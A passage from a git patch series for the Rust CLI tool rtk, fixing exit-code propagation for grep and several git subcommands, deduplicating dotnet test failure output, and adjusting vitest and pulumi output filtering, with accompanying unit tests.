binary). An error must surface to the +/// user, never be silently reported as a false "0 matches". +fn is_grep_error_exit(exit_code: i32) -> bool { + exit_code >= 2 +} + #[cfg(test)] mod tests { use super::*; + #[test] + fn test_is_grep_error_exit() { + // exit 0 = matches, exit 1 = no match: both normal, not errors. + assert!(!is_grep_error_exit(0)); + assert!(!is_grep_error_exit(1)); + // exit >= 2 = real error (bad regex, tool crash, missing binary). + // Must surface, never become a false "0 matches". + assert!(is_grep_error_exit(2)); + assert!(is_grep_error_exit(3)); + assert!(is_grep_error_exit(127)); + } + #[test] fn test_clean_line() { let line = " const result = someFunction();"; diff --git a/tests/grep_error_test.rs b/tests/grep_error_test.rs deleted file mode 100644 index 015735e37d..0000000000 --- a/tests/grep_error_test.rs +++ /dev/null @@ -1,72 +0,0 @@ -//! Integration test: rtk grep must NOT claim "0 matches" on error exit codes. -//! -//! grep/rg convention: exit 1 = no match (normal), exit >= 2 = real error. -//! rtk must surface the error instead of printing a false-negative "0 matches". -//! -//! Unix-only: simulates a broken `rg` via a chmod'd shell script. The whole -//! file is gated so the integration-test crate still compiles on Windows CI. -#![cfg(unix)] - -use std::os::unix::fs::PermissionsExt; -use std::process::Command; - -#[test] -fn grep_error_exit_code_no_false_negative() { - let dir = std::env::temp_dir().join(format!("rtk-test-grep-{}", std::process::id())); - std::fs::create_dir_all(&dir).expect("create temp dir"); - - // Test file with known content so "0 matches" is provably wrong - let test_file = dir.join("test.txt"); - std::fs::write(&test_file, "hello world\n").expect("write test file"); - - // Fake rg that exits with code 2 (error), empty output — simulates - // a broken/missing rg binary or a ripgrep panic. - let fake_rg = dir.join("rg"); - std::fs::write(&fake_rg, "#!/bin/sh\nexit 2\n").expect("write fake rg"); - std::fs::set_permissions(&fake_rg, std::fs::Permissions::from_mode(0o755)) - .expect("chmod fake rg"); - - // Reference the rtk binary built by cargo for integration tests - let rtk = - std::path::PathBuf::from(env!("CARGO_MANIFEST_DIR")).join(if cfg!(debug_assertions) { - "target/debug/rtk" - } else { - "target/release/rtk" - }); - - let path_env = format!( - "{}:{}", - dir.display(), - std::env::var("PATH").unwrap_or_default() - ); - - let output = Command::new(&rtk) - .args(["grep", "hello"]) - .arg(test_file.to_str().unwrap()) - .env("PATH", &path_env) - .env("RTK_HOOK_OFF", "1") // no hook inference - .output() - .expect("run rtk"); - - let stdout = String::from_utf8_lossy(&output.stdout); - let stderr = String::from_utf8_lossy(&output.stderr); - - assert!( - !stdout.contains("0 matches"), - "ERROR exit MUST NOT claim '0 matches' (false negative).\nstdout: {}\nstderr: {}", - stdout, - stderr, - ); - - // Error exit code should be non-zero (propagated from rg's exit 2) - assert_ne!( - output.status.code().unwrap_or(0), - 0, - "rtk should exit non-zero on grep error.\nstdout: {}\nstderr: {}", - stdout, - stderr, - ); - - // Cleanup - let _ = std::fs::remove_dir_all(&dir); -} From e36dd8cbe7cf5f37b6c67115d6d53eccc90c94ab Mon Sep 17 00:00:00 2001 From: Husam Date: Thu, 18 Jun 2026 22:22:36 +0300 Subject: [PATCH 225/257] fix(git): propagate exit code when commit fails instead of reporting ok MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit run_commit had a branch that printed 'ok (nothing to commit)' and fell through to Ok(0) whenever git exited non-zero with a 'nothing to commit' message — so a no-op or hook-aborted commit was reported as success with exit 0. Gate strictly on output.status.success() via a CommitOutcome helper: any failure surfaces git's message and propagates the real exit code, matching native git. Same bug class as #1581 (push) and #1535 (stash). Fixes #2494 --- src/cmds/git/git.rs | 116 +++++++++++++++++++++++++++++++++----------- 1 file changed, 87 insertions(+), 29 deletions(-) diff --git a/src/cmds/git/git.rs b/src/cmds/git/git.rs index 29fd3b73ae..cbc7660a9e 100644 --- a/src/cmds/git/git.rs +++ b/src/cmds/git/git.rs @@ -1024,39 +1024,56 @@ fn run_commit(args: &[String], verbose: u8, global_args: &[String]) -> Result { + println!("{}", compact); + timer.track(&original_cmd, "rtk git commit", &raw_output, &compact); + Ok(0) + } + // A failed commit must never be reported as "ok". This covers "nothing + // to commit" (git exits 1) and pre-commit hook aborts: surface git's + // own message and propagate its exit code, like native git (#2494). + CommitOutcome::Failed(code) => { + eprintln!("FAILED: git commit"); + if !stderr.trim().is_empty() { + eprint!("{}", stderr); + } + if !stdout.trim().is_empty() { + eprint!("{}", stdout); + } + timer.track(&original_cmd, "rtk git commit", &raw_output, &raw_output); + Ok(code) + } + } +} - println!("{}", compact); +/// Outcome of a `git commit` invocation. A non-success status must never be +/// reported as success — the previous code printed "ok (nothing to commit)" and +/// returned 0 for a commit git had rejected (#2494). This enum makes the +/// success/failure split explicit so the exit code is always propagated. +enum CommitOutcome { + /// Commit succeeded; carries the compact one-line summary for stdout. + Ok(String), + /// Commit failed; carries git's real exit code to propagate. + Failed(i32), +} - timer.track(&original_cmd, "rtk git commit", &raw_output, &compact); - } else if stderr.contains("nothing to commit") || stdout.contains("nothing to commit") { - println!("ok (nothing to commit)"); - timer.track( - &original_cmd, - "rtk git commit", - &raw_output, - "ok (nothing to commit)", - ); +/// Classify a `git commit` result. Success extracts the compact "ok " +/// line; any failure (including "nothing to commit", which git reports with a +/// non-zero exit) propagates the real exit code instead of masquerading as ok. +fn classify_commit_outcome(success: bool, stdout: &str, exit_code: i32) -> CommitOutcome { + if success { + // Extract commit hash from output like "[main abc1234] message" or + // "[main (root-commit) abc1234] message" (incl. localized variants). + let compact = stdout + .lines() + .next() + .map(parse_commit_output) + .unwrap_or_else(|| "ok".to_string()); + CommitOutcome::Ok(compact) } else { - if !stderr.trim().is_empty() { - eprint!("{}", stderr); - } - if !stdout.trim().is_empty() { - eprint!("{}", stdout); - } - timer.track(&original_cmd, "rtk git commit", &raw_output, &raw_output); - return Ok(exit_code); + CommitOutcome::Failed(exit_code) } - - Ok(0) } // Git push progress prefixes (stderr) — dropped from the stream. @@ -2429,6 +2446,47 @@ no changes added to commit (use "git add" and/or "git commit -a") assert_eq!(parse_commit_output(""), "ok"); } + // --- commit outcome classification (issue #2494) --- + + #[test] + fn test_classify_commit_success_extracts_hash() { + match classify_commit_outcome(true, "[main abc1234def] add feature", 0) { + CommitOutcome::Ok(s) => assert_eq!(s, "ok abc1234"), + CommitOutcome::Failed(_) => panic!("successful commit must be Ok"), + } + } + + #[test] + fn test_classify_commit_success_empty_stdout() { + match classify_commit_outcome(true, "", 0) { + CommitOutcome::Ok(s) => assert_eq!(s, "ok"), + CommitOutcome::Failed(_) => panic!("successful commit must be Ok"), + } + } + + #[test] + fn test_classify_commit_nothing_to_commit_is_failure() { + // #2494: `git commit` with nothing staged exits 1. It must NOT be + // reported as ok/0 — that masked a no-op commit as success. + match classify_commit_outcome( + false, + "On branch main\nnothing to commit, working tree clean", + 1, + ) { + CommitOutcome::Failed(code) => assert_eq!(code, 1), + CommitOutcome::Ok(s) => panic!("nothing-to-commit must not be ok: {}", s), + } + } + + #[test] + fn test_classify_commit_hook_abort_propagates_exit_code() { + // A pre-commit hook abort exits non-zero; propagate it verbatim. + match classify_commit_outcome(false, "pre-commit hook failed", 2) { + CommitOutcome::Failed(code) => assert_eq!(code, 2), + CommitOutcome::Ok(_) => panic!("hook abort must be a failure"), + } + } + /// Regression test: --oneline and other user format flags must preserve all commits. /// Before fix, filter_log_output split on ---END--- which doesn't exist when /// the user specifies their own format, resulting in only 2 commits surviving. From 756c2a4ce84424a17965810392b21c7320b12678 Mon Sep 17 00:00:00 2001 From: Husam Date: Thu, 18 Jun 2026 22:53:49 +0300 Subject: [PATCH 226/257] fix(git): propagate exit code on git status failure in compact path The compact status path only caught the "not a git repository" error and let every other failure (corrupt index, lock contention, broken refs) fall through to a formatted "Clean working tree" + Ok(0), masking a real git error. The non-compact path already guards on result.success(); apply the same guard to the compact path, keeping the friendly not-a-repo message and propagating git's real exit code otherwise. Part of #2497 --- src/cmds/git/git.rs | 42 +++++++++++++++++++++++++++++++++++++++--- 1 file changed, 39 insertions(+), 3 deletions(-) diff --git a/src/cmds/git/git.rs b/src/cmds/git/git.rs index 29fd3b73ae..a4b16f18ed 100644 --- a/src/cmds/git/git.rs +++ b/src/cmds/git/git.rs @@ -862,9 +862,21 @@ fn run_status(args: &[String], verbose: u8, global_args: &[String]) -> Result Date: Thu, 18 Jun 2026 22:55:50 +0300 Subject: [PATCH 227/257] fix(git): propagate exit code on git worktree list failure MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit run_worktree list mode never checked result.success() — a failed `git worktree list` (e.g. run outside a repo) was flattened to empty output + exit 0. The has_action branch already guards on success; apply the same guard to list mode and surface git's error with its exit code. Part of #2497 --- src/cmds/git/git.rs | 27 +++++++++++++++++++++++++++ 1 file changed, 27 insertions(+) diff --git a/src/cmds/git/git.rs b/src/cmds/git/git.rs index 29fd3b73ae..c727a783de 100644 --- a/src/cmds/git/git.rs +++ b/src/cmds/git/git.rs @@ -1714,6 +1714,23 @@ fn run_worktree(args: &[String], verbose: u8, global_args: &[String]) -> Result< cmd.args(["worktree", "list"]); let result = exec_capture(&mut cmd).context("Failed to run git worktree list")?; + // A failed `git worktree list` (e.g. run outside a repo) must propagate, not + // be flattened to empty output + exit 0. The has_action branch above already + // guards on success (#2497). + if !result.success() { + eprintln!("FAILED: git worktree list"); + if !result.stderr.trim().is_empty() { + eprintln!("{}", result.stderr); + } + timer.track( + "git worktree list", + "rtk git worktree", + &result.stdout, + &result.stderr, + ); + return Ok(result.exit_code); + } + let filtered = filter_worktree_list(&result.stdout); println!("{}", filtered); timer.track( @@ -2045,6 +2062,16 @@ mod tests { assert!(result.contains("[feature]")); } + #[test] + fn test_run_worktree_list_propagates_failure() { + // #2497: `git worktree list` outside a repo exits non-zero; rtk must not + // report success (empty output + exit 0). + let dir = tempfile::tempdir().expect("tempdir"); + let global = vec!["-C".to_string(), dir.path().to_string_lossy().into_owned()]; + let code = run_worktree(&[], 0, &global).expect("run_worktree"); + assert_ne!(code, 0, "git worktree list failure must propagate"); + } + #[test] fn test_format_status_output_clean() { let porcelain = "## main...origin/main\n"; From 2d9dc1ab9e0d25bf7fa6b8696f8909a561dd267f Mon Sep 17 00:00:00 2001 From: Tailoo Date: Thu, 18 Jun 2026 22:46:27 +0200 Subject: [PATCH 228/257] fix(dotnet): stop duplicating failures on failing test runs MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit On failing `dotnet test` runs the orchestrator prepended the full raw stdout ahead of the filtered summary. The `Failed Tests:` section already reproduces each failure (name + message + clipped stack) parsed from TRX/console, so every failure was printed twice — inflating output +65% vs raw, scaling linearly with failure count (issue #2501). Gate the raw-stdout prepend behind `test_needs_raw_fallback`: skip it when the structured section carries detail, keep it when the filter is blind (no failures parsed, or a parsed failure has empty detail — e.g. a self-closing with no , or a build failure / crash where nothing reaches failed_tests). Extracts two pure, unit-tested fns (`test_needs_raw_fallback`, `compose_failure_output`) so the orchestration decision is covered without running dotnet. Closes #2501 Co-Authored-By: Claude Opus 4.8 --- src/cmds/dotnet/dotnet_cmd.rs | 181 +++++++++++++++++++++++++++++----- 1 file changed, 159 insertions(+), 22 deletions(-) diff --git a/src/cmds/dotnet/dotnet_cmd.rs b/src/cmds/dotnet/dotnet_cmd.rs index f90db8b024..5105cc5006 100644 --- a/src/cmds/dotnet/dotnet_cmd.rs +++ b/src/cmds/dotnet/dotnet_cmd.rs @@ -138,7 +138,7 @@ fn run_dotnet_with_binlog(subcommand: &str, args: &[String], verbose: u8) -> Res let raw = format!("{}\n{}", result.stdout, result.stderr); let command_success = result.success(); - let filtered = match subcommand { + let (filtered, needs_raw_fallback) = match subcommand { "build" => { let binlog_summary = if should_expect_binlog && binlog_path.exists() { normalize_build_summary( @@ -151,7 +151,7 @@ fn run_dotnet_with_binlog(subcommand: &str, args: &[String], verbose: u8) -> Res let raw_summary = normalize_build_summary(binlog::parse_build_from_text(&raw), command_success); let summary = merge_build_summaries(binlog_summary, raw_summary); - format_build_output(&summary, &binlog_path) + (format_build_output(&summary, &binlog_path), true) } "test" => { // First try to parse from binlog/console output @@ -181,11 +181,18 @@ fn run_dotnet_with_binlog(subcommand: &str, args: &[String], verbose: u8) -> Res let raw_diagnostics = normalize_build_summary(binlog::parse_build_from_text(&raw), command_success); let test_build_summary = merge_build_summaries(binlog_diagnostics, raw_diagnostics); - format_test_output( - &summary, - &test_build_summary.errors, - &test_build_summary.warnings, - &binlog_path, + // The `Failed Tests:` section already carries failure detail parsed from + // TRX/console; skip the raw-stdout prepend when it would only duplicate it. + // See issue #2501. + let needs_raw = test_needs_raw_fallback(&summary); + ( + format_test_output( + &summary, + &test_build_summary.errors, + &test_build_summary.warnings, + &binlog_path, + ), + needs_raw, ) } "restore" => { @@ -203,24 +210,21 @@ fn run_dotnet_with_binlog(subcommand: &str, args: &[String], verbose: u8) -> Res let (raw_errors, raw_warnings) = binlog::parse_restore_issues_from_text(&raw); - format_restore_output(&summary, &raw_errors, &raw_warnings, &binlog_path) + ( + format_restore_output(&summary, &raw_errors, &raw_warnings, &binlog_path), + true, + ) } - _ => raw.clone(), + _ => (raw.clone(), true), }; - let output_to_print = if !command_success { - let stdout_trimmed = result.stdout.trim(); - let stderr_trimmed = result.stderr.trim(); - if !stdout_trimmed.is_empty() { - format!("{}\n\n{}", stdout_trimmed, filtered) - } else if !stderr_trimmed.is_empty() { - format!("{}\n\n{}", stderr_trimmed, filtered) - } else { - filtered - } - } else { - filtered - }; + let output_to_print = compose_failure_output( + command_success, + needs_raw_fallback, + &result.stdout, + &result.stderr, + &filtered, + ); println!("{}", output_to_print); @@ -1076,6 +1080,50 @@ fn format_build_output(summary: &binlog::BuildSummary, _binlog_path: &Path) -> S .join("\n") } +/// Decides whether the raw stdout/stderr should be prepended ahead of the +/// filtered `dotnet test` summary on a failing run. +/// +/// On failure the orchestrator can prepend the raw command output as a safety +/// net. For `test`, the filtered `Failed Tests:` section already reproduces each +/// failure (name + message + clipped stack) parsed from TRX/console, so the +/// prepend would only duplicate every failure block — the source of the +65% +/// inflation in issue #2501. +/// +/// Keep the raw fallback only when the structured section can't stand on its own: +/// no failures were parsed, or some parsed failure has no detail (filter blind). +fn test_needs_raw_fallback(summary: &binlog::TestSummary) -> bool { + summary.failed_tests.is_empty() + || summary.failed_tests.iter().any(|t| t.details.is_empty()) +} + +/// Composes the final output for a (possibly failing) run: the filtered summary, +/// optionally prefixed with raw stdout/stderr as a fallback. +/// +/// On success, or when `needs_raw_fallback` is false, only the filtered summary +/// is emitted. Otherwise the raw stdout (or stderr if stdout is empty) is +/// prepended so nothing is lost when the filter couldn't capture the failure. +fn compose_failure_output( + command_success: bool, + needs_raw_fallback: bool, + stdout: &str, + stderr: &str, + filtered: &str, +) -> String { + if command_success || !needs_raw_fallback { + return filtered.to_string(); + } + + let stdout_trimmed = stdout.trim(); + let stderr_trimmed = stderr.trim(); + if !stdout_trimmed.is_empty() { + format!("{}\n\n{}", stdout_trimmed, filtered) + } else if !stderr_trimmed.is_empty() { + format!("{}\n\n{}", stderr_trimmed, filtered) + } else { + filtered.to_string() + } +} + /// Format the test summary for stdout. /// /// `_binlog_path` is intentionally unused — the binlog is a temporary file @@ -1405,6 +1453,95 @@ mod tests { assert!(output.contains("MyTests.ShouldFail")); } + // Regression tests for issue #2501: on failing test runs the raw stdout was + // prepended in front of the filtered `Failed Tests:` section, duplicating every + // failure block (+65% vs raw). `test_needs_raw_fallback` must suppress the raw + // prepend when the structured section already carries failure detail, while + // keeping it when the filter couldn't capture the failures. + + #[test] + fn test_needs_raw_fallback_false_when_failures_have_detail() { + let summary = binlog::TestSummary { + passed: 717, + failed: 5, + skipped: 0, + total: 722, + project_count: 1, + failed_tests: vec![binlog::FailedTest { + name: "MyTests.HasRestriction".to_string(), + details: vec!["Assert.True() Failure".to_string()], + }], + duration_text: Some("2 s".to_string()), + }; + assert!(!test_needs_raw_fallback(&summary)); + } + + #[test] + fn test_needs_raw_fallback_true_when_no_failures_parsed() { + // Build failure / crash: command failed but nothing landed in failed_tests. + let summary = binlog::TestSummary { + failed: 1, + total: 1, + ..Default::default() + }; + assert!(test_needs_raw_fallback(&summary)); + } + + #[test] + fn test_needs_raw_fallback_true_when_a_failure_lacks_detail() { + // Self-closing with no : name only, no detail. + let summary = binlog::TestSummary { + failed: 1, + total: 1, + failed_tests: vec![binlog::FailedTest { + name: "MyTests.NoDetail".to_string(), + details: Vec::new(), + }], + ..Default::default() + }; + assert!(test_needs_raw_fallback(&summary)); + } + + #[test] + fn test_compose_failure_output_drops_raw_when_no_fallback_needed() { + // The raw stdout contains the inline failure; the filtered section also + // contains it. With needs_raw_fallback=false, the failure must appear once. + let raw_stdout = " failed MyTests.HasRestriction\n Assert.True() Failure"; + let filtered = + "Failed Tests:\n MyTests.HasRestriction\n Assert.True() Failure\n\nfail dotnet test: 717 passed, 5 failed"; + let output = compose_failure_output(false, false, raw_stdout, "", filtered); + + assert_eq!(output, filtered); + assert_eq!(output.matches("HasRestriction").count(), 1); + } + + #[test] + fn test_compose_failure_output_prepends_raw_when_fallback_needed() { + let raw_stdout = "Build FAILED.\n Program.cs(1,1): error CS1002"; + let filtered = "fail dotnet test: 0 passed, 1 failed"; + // command_success=false, needs_raw_fallback=true → raw is prepended. + let output = compose_failure_output(false, true, raw_stdout, "", filtered); + + assert!(output.starts_with("Build FAILED.")); + assert!(output.ends_with(filtered)); + } + + #[test] + fn test_compose_failure_output_uses_stderr_when_stdout_empty() { + let filtered = "fail dotnet test: 0 passed, 1 failed"; + let output = compose_failure_output(false, true, " ", "boom on stderr", filtered); + + assert!(output.starts_with("boom on stderr")); + assert!(output.ends_with(filtered)); + } + + #[test] + fn test_compose_failure_output_returns_filtered_on_success() { + let filtered = "ok dotnet test: 722 tests passed"; + let output = compose_failure_output(true, true, "ignored raw", "ignored", filtered); + assert_eq!(output, filtered); + } + #[test] fn test_format_test_output_surfaces_warnings() { let summary = binlog::TestSummary { From d2babe2bfb9a76dd82647e1c66fcf47affdd6317 Mon Sep 17 00:00:00 2001 From: Adrien Eppling Date: Fri, 19 Jun 2026 11:52:29 +0200 Subject: [PATCH 229/257] test(main): classify oc subcommand in PASSTHROUGH allowlist --- src/main.rs | 1 + 1 file changed, 1 insertion(+) diff --git a/src/main.rs b/src/main.rs index d525ecf8b1..c55751dfc0 100644 --- a/src/main.rs +++ b/src/main.rs @@ -2941,6 +2941,7 @@ mod tests { "dotnet", "docker", "kubectl", + "oc", "summary", "grep", "wget", From f9469d12cfb48a6dda2b8c0578a7d5696804ae5f Mon Sep 17 00:00:00 2001 From: xiaozh Date: Sat, 20 Jun 2026 19:31:01 +0800 Subject: [PATCH 230/257] fix(vitest): add passthrough recovery hint Explicit Vitest reporters can produce successful output that exceeds the passthrough cap. Track truncation as structured state and use force_tee_hint so the full verbose output remains recoverable. --- src/cmds/js/vitest_cmd.rs | 151 ++++++++++++++++++++++++++++++++------ 1 file changed, 129 insertions(+), 22 deletions(-) diff --git a/src/cmds/js/vitest_cmd.rs b/src/cmds/js/vitest_cmd.rs index 233eaf39cf..43b41c59b9 100644 --- a/src/cmds/js/vitest_cmd.rs +++ b/src/cmds/js/vitest_cmd.rs @@ -8,8 +8,9 @@ use crate::core::stream::exec_capture; use crate::core::tracking; use crate::core::utils::{package_manager_exec, strip_ansi}; use crate::parser::{ - emit_degradation_warning, emit_passthrough_warning, extract_json_object, truncate_passthrough, - FormatMode, OutputParser, ParseResult, TestFailure, TestResult, TokenFormatter, + emit_degradation_warning, emit_passthrough_warning, extract_json_object, truncate_output, + truncate_passthrough, FormatMode, OutputParser, ParseResult, TestFailure, TestResult, + TokenFormatter, }; use crate::Commands; @@ -246,21 +247,25 @@ pub fn run_test(command: &Commands, args: &[String], verbose: u8) -> Result let result = exec_capture(&mut cmd).context(format!("Failed to run {}", framework))?; let combined = result.combined(); - let filtered = format_test_output(framework, &result.stdout, &combined, passthrough_requested, verbose); + let filtered = format_test_output( + framework, + &result.stdout, + &combined, + passthrough_requested, + verbose, + ); + let tee_label = format!("{}_run", framework); - if let Some(hint) = - crate::core::tee::tee_and_hint(&combined, format!("{}_run", framework).as_str(), result.exit_code) - { - println!("{}\n{}", filtered, hint); - } else { - println!("{}", filtered); - } + println!( + "{}", + render_test_output(&filtered, &combined, &tee_label, result.exit_code) + ); timer.track( format!("{} run", framework).as_str(), format!("rtk {} run", framework).as_str(), &combined, - &filtered, + &filtered.text, ); if !result.success() { @@ -274,6 +279,27 @@ struct EffectiveVitestArgs { passthrough: bool, } +struct FormattedTestOutput { + text: String, + truncated: bool, +} + +impl FormattedTestOutput { + fn new(text: String) -> Self { + Self { + text, + truncated: false, + } + } + + fn truncated(text: String) -> Self { + Self { + text, + truncated: true, + } + } +} + fn build_vitest_effective_args(args: &[String]) -> EffectiveVitestArgs { let passthrough = has_explicit_vitest_reporter(args); let mut effective = vec!["run".to_string()]; @@ -310,33 +336,86 @@ fn format_test_output( combined: &str, passthrough_requested: bool, verbose: u8, -) -> String { +) -> FormattedTestOutput { if passthrough_requested { - return truncate_passthrough(combined); + return format_passthrough_output(combined); } let parse_result = VitestParser::parse(stdout); let mode = FormatMode::from_verbosity(verbose); - let filtered = match parse_result { + match parse_result { ParseResult::Full(data) => { if verbose > 0 { eprintln!("{} run (Tier 1: Full JSON parse)", framework); } - data.format(mode) + FormattedTestOutput::new(data.format(mode)) } ParseResult::Degraded(data, warnings) => { if verbose > 0 { emit_degradation_warning(framework, &warnings.join(", ")); } - data.format(mode) + FormattedTestOutput::new(data.format(mode)) } - ParseResult::Passthrough(raw) => { + ParseResult::Passthrough(_) => { emit_passthrough_warning(framework, "All parsing tiers failed"); - raw + format_passthrough_output(stdout) } + } +} + +fn format_passthrough_output(raw: &str) -> FormattedTestOutput { + let max_chars = crate::core::config::limits().passthrough_max_chars; + format_passthrough_output_with_limit(raw, max_chars) +} + +fn format_passthrough_output_with_limit(raw: &str, max_chars: usize) -> FormattedTestOutput { + let text = truncate_output(raw, max_chars); + + if raw.chars().count() > max_chars { + FormattedTestOutput::truncated(text) + } else { + FormattedTestOutput::new(text) + } +} + +fn render_test_output( + filtered: &FormattedTestOutput, + raw: &str, + tee_label: &str, + exit_code: i32, +) -> String { + render_test_output_with_hints( + filtered, + raw, + tee_label, + exit_code, + crate::core::tee::force_tee_hint, + crate::core::tee::tee_and_hint, + ) +} + +fn render_test_output_with_hints( + filtered: &FormattedTestOutput, + raw: &str, + tee_label: &str, + exit_code: i32, + force_hint: F, + tee_hint: T, +) -> String +where + F: FnOnce(&str, &str) -> Option, + T: FnOnce(&str, &str, i32) -> Option, +{ + let hint = if filtered.truncated { + force_hint(raw, tee_label) + } else { + tee_hint(raw, tee_label, exit_code) }; - filtered + match hint { + Some(hint) => format!("{}\n{}", filtered.text, hint), + None => filtered.text.clone(), + } } #[cfg(test)] @@ -500,8 +579,36 @@ Scope: all 6 workspace projects let filtered = format_test_output("vitest", output, output, true, 0); - assert!(filtered.contains("keeps docs path")); - assert!(filtered.contains("keeps app path")); - assert!(filtered.contains("Tests 2 passed")); + assert!(filtered.text.contains("keeps docs path")); + assert!(filtered.text.contains("keeps app path")); + assert!(filtered.text.contains("Tests 2 passed")); + assert!(!filtered.truncated); + } + + #[test] + fn test_vitest_explicit_reporter_truncated_output_adds_recovery_hint() { + let output = format!( + "{}\n Test Files 1 passed (1)\n Tests 80 passed (80)\n", + " ✓ constants/publicPaths.test.ts > public paths > keeps verbose case\n".repeat(80) + ); + + let filtered = format_passthrough_output_with_limit(&output, 200); + let rendered = render_test_output_with_hints( + &filtered, + &output, + "vitest_run", + 0, + |raw, label| { + assert_eq!(raw, output); + assert_eq!(label, "vitest_run"); + Some("[full output: /tmp/vitest_run.log]".to_string()) + }, + |_, _, _| Some("[full output: wrong-path.log]".to_string()), + ); + + assert!(filtered.truncated); + assert!(rendered.contains("[RTK:PASSTHROUGH] Output truncated")); + assert!(rendered.contains("[full output: /tmp/vitest_run.log]")); + assert!(!rendered.contains("wrong-path.log")); } } From 5e7eab5846cfe2de1f0d0c2a7d6c38c8de6c65e5 Mon Sep 17 00:00:00 2001 From: Tailoo Date: Sun, 21 Jun 2026 22:41:00 +0200 Subject: [PATCH 231/257] fix(dotnet): keep raw fallback when parsed failures incomplete test_needs_raw_fallback dropped the raw stdout prepend whenever every parsed failure carried detail, but never checked the list was complete against summary.failed. A run reporting 5 failures but parsing only 3 detailed blocks would silently lose the 2 unparsed failures. Add a `failed_tests.len() < summary.failed` clause so the raw fallback is kept when the structured section is numerically incomplete. Add a regression test and fix an inconsistent existing fixture (failed: 5 with a single parsed entry) that the new clause correctly flagged. Co-Authored-By: Claude Opus 4.8 --- src/cmds/dotnet/dotnet_cmd.rs | 48 +++++++++++++++++++++++++++++++---- 1 file changed, 43 insertions(+), 5 deletions(-) diff --git a/src/cmds/dotnet/dotnet_cmd.rs b/src/cmds/dotnet/dotnet_cmd.rs index 5105cc5006..232f957af6 100644 --- a/src/cmds/dotnet/dotnet_cmd.rs +++ b/src/cmds/dotnet/dotnet_cmd.rs @@ -1090,9 +1090,12 @@ fn format_build_output(summary: &binlog::BuildSummary, _binlog_path: &Path) -> S /// inflation in issue #2501. /// /// Keep the raw fallback only when the structured section can't stand on its own: -/// no failures were parsed, or some parsed failure has no detail (filter blind). +/// no failures were parsed, the parsed list is shorter than `summary.failed` +/// (some failures never made it into the section), or some parsed failure has no +/// detail (filter blind). fn test_needs_raw_fallback(summary: &binlog::TestSummary) -> bool { summary.failed_tests.is_empty() + || summary.failed_tests.len() < summary.failed || summary.failed_tests.iter().any(|t| t.details.is_empty()) } @@ -1461,21 +1464,56 @@ mod tests { #[test] fn test_needs_raw_fallback_false_when_failures_have_detail() { + // Every reported failure was parsed and carries detail: the structured + // section stands alone, so the raw prepend is dropped (issue #2501). + let failed_tests: Vec = (0..5) + .map(|i| binlog::FailedTest { + name: format!("MyTests.Case{i}"), + details: vec!["Assert.True() Failure".to_string()], + }) + .collect(); let summary = binlog::TestSummary { passed: 717, failed: 5, skipped: 0, total: 722, project_count: 1, - failed_tests: vec![binlog::FailedTest { - name: "MyTests.HasRestriction".to_string(), - details: vec!["Assert.True() Failure".to_string()], - }], + failed_tests, duration_text: Some("2 s".to_string()), }; assert!(!test_needs_raw_fallback(&summary)); } + #[test] + fn test_needs_raw_fallback_true_when_parsed_list_incomplete() { + // summary.failed reports 5, but only 3 blocks were parsed (each with + // detail). The 2 missing failures live only in raw stdout — keep the + // fallback so they aren't silently dropped. + let summary = binlog::TestSummary { + passed: 717, + failed: 5, + skipped: 0, + total: 722, + project_count: 1, + failed_tests: vec![ + binlog::FailedTest { + name: "MyTests.One".to_string(), + details: vec!["Assert.True() Failure".to_string()], + }, + binlog::FailedTest { + name: "MyTests.Two".to_string(), + details: vec!["Assert.Equal() Failure".to_string()], + }, + binlog::FailedTest { + name: "MyTests.Three".to_string(), + details: vec!["Assert.Null() Failure".to_string()], + }, + ], + duration_text: Some("2 s".to_string()), + }; + assert!(test_needs_raw_fallback(&summary)); + } + #[test] fn test_needs_raw_fallback_true_when_no_failures_parsed() { // Build failure / crash: command failed but nothing landed in failed_tests. From 1f6e36b27ef4fd2237465c97a8e73fbe4e990f61 Mon Sep 17 00:00:00 2001 From: Wladi Mitzel Date: Tue, 23 Jun 2026 07:57:18 +0200 Subject: [PATCH 232/257] fix(pulumi): keep stack identity in pulumi-stack filter Stop stripping `Current stack is X:` and `Last updated:`. pulumi stack is read-only (exit 0) so there's no tee fallback; dropping the active stack identity was irreversible signal loss. Keeping the header also fixes the orphaned indented `Managed by ` line. Owner: and Pulumi version used: remain stripped as noise. Co-Authored-By: Claude Opus 4.8 (1M context) --- src/filters/pulumi-stack.toml | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) diff --git a/src/filters/pulumi-stack.toml b/src/filters/pulumi-stack.toml index 9e8e8799d4..5518a07a25 100644 --- a/src/filters/pulumi-stack.toml +++ b/src/filters/pulumi-stack.toml @@ -8,9 +8,7 @@ match_output = [ strip_lines_matching = [ "^\\s*$", "^Please choose a stack", - "^Current stack is", "^\\s*Owner:", - "^\\s*Last updated:", "^\\s*Pulumi version used:", "^More information at:", "^Use `pulumi ", @@ -25,10 +23,11 @@ input = "No stacks found in the current workspace.\n" expected = "pulumi stack: empty" [[tests.pulumi-stack]] -name = "strips metadata noise, keeps table" +name = "keeps stack identity, strips version noise" input = """ Please choose a stack, or create a new one: Current stack is dev: + Managed by my-user Owner: my-org Last updated: 2 hours ago Pulumi version used: v3.120.0 @@ -39,7 +38,10 @@ Current stack resources (3): aws:s3:Bucket my-bucket aws:iam:Role my-role """ -expected = """Current stack resources (3): +expected = """Current stack is dev: + Managed by my-user + Last updated: 2 hours ago +Current stack resources (3): TYPE NAME pulumi:pulumi:Stack my-proj-dev aws:s3:Bucket my-bucket From 0adfae6cf61a90a98a007a6ef4a8745ab6f42a31 Mon Sep 17 00:00:00 2001 From: Adrien Eppling Date: Tue, 23 Jun 2026 13:16:27 +0200 Subject: [PATCH 233/257] fix(grep): correctly handle all flag shapes and never exceed raw output The grep argument-parsing rework routed many flag shapes through the grouping reparse, which silently dropped any line it could not parse and returned a success exit. Common invocations produced wrong or empty output -- and grep-only syntax like `--include` failed outright -- which pushed agents back to unfiltered `rtk proxy grep`. Every valid grep invocation now produces correct output: - Context (`-A`/`-B`/`-C`) is grouped and compressed instead of dropped; the header counts matches only and context lines are shown. - Output the reparse cannot represent (`-N`, `-I`, `--color`, `-p`, `--heading`, binary-file notices, ...) is passed through verbatim instead of reported as a false "0 matches". - Format/shape flags (`-c`, `-l`, `-o`, `-Z`, `--column`, `-b`, `--vimgrep`, `--null-data`) pass through cleanly with no NUL leak. - 